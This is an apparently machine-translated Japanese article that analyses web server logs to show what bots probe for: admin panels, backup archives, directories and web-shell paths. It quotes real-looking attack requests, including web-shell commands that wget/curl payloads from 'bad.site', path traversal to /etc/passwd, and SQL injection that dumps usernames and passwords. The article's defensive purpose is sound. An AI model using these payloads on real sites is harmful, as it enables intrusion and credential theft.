いくつかのサイトのログ(Webサーバーおよびコンテンツ管理システム)を使用した資料の準備。 最も典型的で最も説明的な例が選択されます。
彼らは何を、そしてなぜ探しているのですか?
管理パネル
管理パネル、コントロールパネル、または「管理パネル」は、最も一般的な目標の1つです。 タスク:使用されるCMSを決定し、さらにパスワードを選択するためにパネルスクリプトの正確なアドレスを設定します。
例(CMS WordPress [3]の場合):
example.org/wp-login.php (額チェック)
example.org/wp-admin (サンプルディレクトリの整理)
example.org/dir/dir/wp-login.php (利用可能なすべてのディレクトリを反復します)
example.org/wp-admin/images/wordpress-logo.png (スクリプト自体はチェックされないが、特徴的な画像またはcssファイルの場合はスキャンをマスクしようとする)
このようなスキャンは絶えず実行されるため、特に上記の例のようにWordPress CMSを使用していない場合は、それほど気にする必要はありません。 対策として、使用するCMSの必須パスワードの強度を忘れずに、Webサーバー(Apacheの場合は.htaccessと.htpasswd)を使用して、管理パネルのスクリプトでディレクトリへのアクセスを制限することをお勧めします。
追加の例
example.org/admin.php
example.org/admin
example.org/bitrix/admin
example.org/index.php/admin
example.org/netcat/admin
example.org/adminmysql/scripts/setup.php
example.org/apache-default/phpmyadmin/scripts/setup.php
example.org/cpadmin/scripts/setup.php
example.org/cpadmindb/scripts/setup.php
example.org/databaseadmin/scripts/setup.php
example.org/forum/phpmyadmin/scripts/setup.php
example.org/mydatadmin/scripts/setup.php
example.org/mysql-admin/scripts/setup.php
example.org/php-myadmin/scripts/setup.php
example.org/phpMyAdmin-2.11.1/scripts/setup.php
example.org/web/phpmyadmin/scripts/setup.php
example.org/admin
example.org/bitrix/admin
example.org/index.php/admin
example.org/netcat/admin
example.org/adminmysql/scripts/setup.php
example.org/apache-default/phpmyadmin/scripts/setup.php
example.org/cpadmin/scripts/setup.php
example.org/cpadmindb/scripts/setup.php
example.org/databaseadmin/scripts/setup.php
example.org/forum/phpmyadmin/scripts/setup.php
example.org/mydatadmin/scripts/setup.php
example.org/mysql-admin/scripts/setup.php
example.org/php-myadmin/scripts/setup.php
example.org/phpMyAdmin-2.11.1/scripts/setup.php
example.org/web/phpmyadmin/scripts/setup.php
これらの例からわかるように、CMS管理パネルだけでなく、管理用の補助システムまたはアプリケーションも検索しようとしています。 最も一般的なバージョンのサフィックスを含む、さまざまなスクリプトおよびディレクトリ名のバリエーションがソートされます。 一部の管理者は、スクリプトまたはディレクトリの名前を(名前の読みやすさと明瞭さを維持しながら)変更することにより、ボットをしのいでシステムを保護できると考えています。 残念ながら、これは事実とはほど遠い。
注目のアーカイブ
バックアップまたはインストールパッケージを含むアーカイブは、管理パネルにアクセスするためのパスワード、設定を持つファイル、DBMSにアクセスするためのパラメーター、データベースの完全なコピーなどを含むことができるため、攻撃者にとって貴重な餌食です。
例:
example.org/example.org.tar.gz
example.org/backup.zip
example.org/example.org.zip
example.org/public_html.tar.gz
example.org/public_html.zip
example.org/www.zip
example.org/dir/dir.zip
以下を含む多くのアーカイバーに注意してください ホスティング会社のサーバーにインストールされている場合は、アーカイブされるディレクトリまたはアーカイブ用のデータがあるディレクトリと同じアーカイブファイルのデフォルト名を設定します。 上記の例からわかるように、この機能はボットで広く使用されています。
一般的なバックアップシステムからアーカイブファイル名を選択しようとする場合があります。 ファイル名の生成とリリース日の更新に一般的なアルゴリズムを使用すると、組み合わせの数が大幅に削減されます。 一部のバックアップシステムには保護メカニズムが組み込まれているという事実(「すべてからの拒否」を伴う.htaccessなど)にもかかわらず、Webサーバーを変更する場合やその他の理由で効果がない場合があります。
常にボットの関心領域にあるため、重要な情報または機密情報を含むアーカイブを含むファイルをすばやく削除することをお勧めします。
トラップ
ログの分析中に疑わしい呼び出しが識別された場合、管理者は状況をよりよく理解したいと考えています。 これは、攻撃者がガイドするものです。
通常、ログからHTTPリファラーフィールドの値を復元できます。 クライアント(ボット)はこのフィールドを任意に設定できるため、管理者は受信したデータを処理する際に注意を払う必要があります。 可能なオプション:フィッシングサイトまたはマルウェアのあるサイトへのリンク、広告リンク、リンク削減システムによって圧縮されたスクリプトの実行。
HTTPリファラーフィールドの値を信頼できる情報と見なさないことをお勧めします。リンクをクリックする場合は、最初にウイルス対策会社とVirusTotoalのサイトのリンクを確認してください。
誰もがこれを知って理解する必要がありますが、特に管理者権限を持つサーバーで作業している場合は、不明なリンクをクリックすることは厳禁です。
明らかな理由により、リンクの例は提供されません。
「マジック」カタログ
ボットが最も頻繁に使用するディレクトリ(サブセクション)は何ですか? 相対的な頻度のみに焦点を当て、追加のコメントなしで例を示します。 選択は、調査対象のサイトと、管理パネルの検索に使用されるディレクトリの包含(除外)に依存することにすぐ注意してください。
「マジック」カタログ
example.org/.svn
example.org/apache-default
example.org/backup
example.org/cache
example.org/home
example.org/install
example.org/ispmgr
example.org/log
example.org/map
example.org/node
example.org/old
example.org/pages
example.org/pgu
example.org/save
example.org/scripts
example.org/tmp
example.org/user
example.org/users
example.org/uslugi
example.org/webmanage
example.org/apache-default
example.org/backup
example.org/cache
example.org/home
example.org/install
example.org/ispmgr
example.org/log
example.org/map
example.org/node
example.org/old
example.org/pages
example.org/pgu
example.org/save
example.org/scripts
example.org/tmp
example.org/user
example.org/users
example.org/uslugi
example.org/webmanage
悪意のあるソフトウェアのブックマーク
まず、例を考えてみましょう。
example.org/explore.php
example.org/images/join.php
example.org/images/register.php
example.org/images/signup.php
example.org/images/stories/busuk.inc.php
example.org/images/webadmin.php
example.org/libraries/libraries.php
example.org/stories/food.php
example.org/tmp/petx.php
example.org/xmlrpc.php
上記のファイルは、[research]サイトには存在しないはずです。 複数のサイトから十分に大きなサンプルがある場合は、そのようなターゲットの試みを強調できます。 攻撃者によるこのようなスクリプトの使用を示す追加の例に注意してください。
example.org/images/do.php?act=reg
example.org/images/stories/racrew.php?cmd=wget http://bad.site/img/icons/tempe.gif; mv tempe.gif menu.php
example.org/naskleng.php?cmd=wget http://bad.site/components/com_content/teli.tar.gz; curl -O http://bad.site/components/com_content/teli.tar.gz; lwp-download http://bad.site .....
彼らはどこから来たのですか? 原則として、すべてが平凡です:ワレズまたはハッキング(時代遅れであり、CMSやコンポーネントなどで更新されていません)。
エイジレスクラシック-SQLインジェクションとディレクトリナビゲーション
私たちは、著者が意図したとおり、それがどうあるべきか、どのように機能するかについての詳細な推論なしに、例に限定しています。
古典的な
example.org/index.php?option=../../../../../../../../../../etc/passwd \ 0&sitemap = 1
example.org/index.php?option=/../../../../../../../../../../proc/self/environ&sitemap=1
example.org/index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1、2、concat(1234.0x3B、4321)、4,5,6,7,8,9,10--
example.org/index.php?option=com_kunena&func=userlist&search= \ "%" and 1 = 2)union select 1、concat(username、0x3a、password、0x3a、usertype)、concat(username、0x3a、password、0x3a、 usertype)、「Super Administrator」、「email」、...
example.org/index.php?option=com_linx&Itemid=101 "and(select / ** / 1 / ** / from(select / ** / count(*)、concat((select / ** / username / ** / from / ** / jos_users / ** / where / ** / usertype = 0x73757065722061646d696e6973747261746f72 ...
example.org/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1 ** / aNd / ** / 1 = 0 / ** / uNioN ++ sElecT + 1.234567--
example.org/index.php/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=-1+union+select+1、concat(0x7e、table_name、0x7e)+ from + information_schema.tables + where + table_name = 0x43484152453354
example.org/index.php?option=/../../../../../../../../../../proc/self/environ&sitemap=1
example.org/index.php?option=com_ignitegallery&task=view&gallery=-1+union+select+1、2、concat(1234.0x3B、4321)、4,5,6,7,8,9,10--
example.org/index.php?option=com_kunena&func=userlist&search= \ "%" and 1 = 2)union select 1、concat(username、0x3a、password、0x3a、usertype)、concat(username、0x3a、password、0x3a、 usertype)、「Super Administrator」、「email」、...
example.org/index.php?option=com_linx&Itemid=101 "and(select / ** / 1 / ** / from(select / ** / count(*)、concat((select / ** / username / ** / from / ** / jos_users / ** / where / ** / usertype = 0x73757065722061646d696e6973747261746f72 ...
example.org/index.php?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1 ** / aNd / ** / 1 = 0 / ** / uNioN ++ sElecT + 1.234567--
example.org/index.php/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=-1+union+select+1、concat(0x7e、table_name、0x7e)+ from + information_schema.tables + where + table_name = 0x43484152453354
結論の代わりに
(ウェブだけでなく)オペレーティングシステムのログを監視および分析します。 これは、最も不適切な瞬間に役立つ場合があります。
宿題 [Homebrew]日曜大工のwebハニーポット 。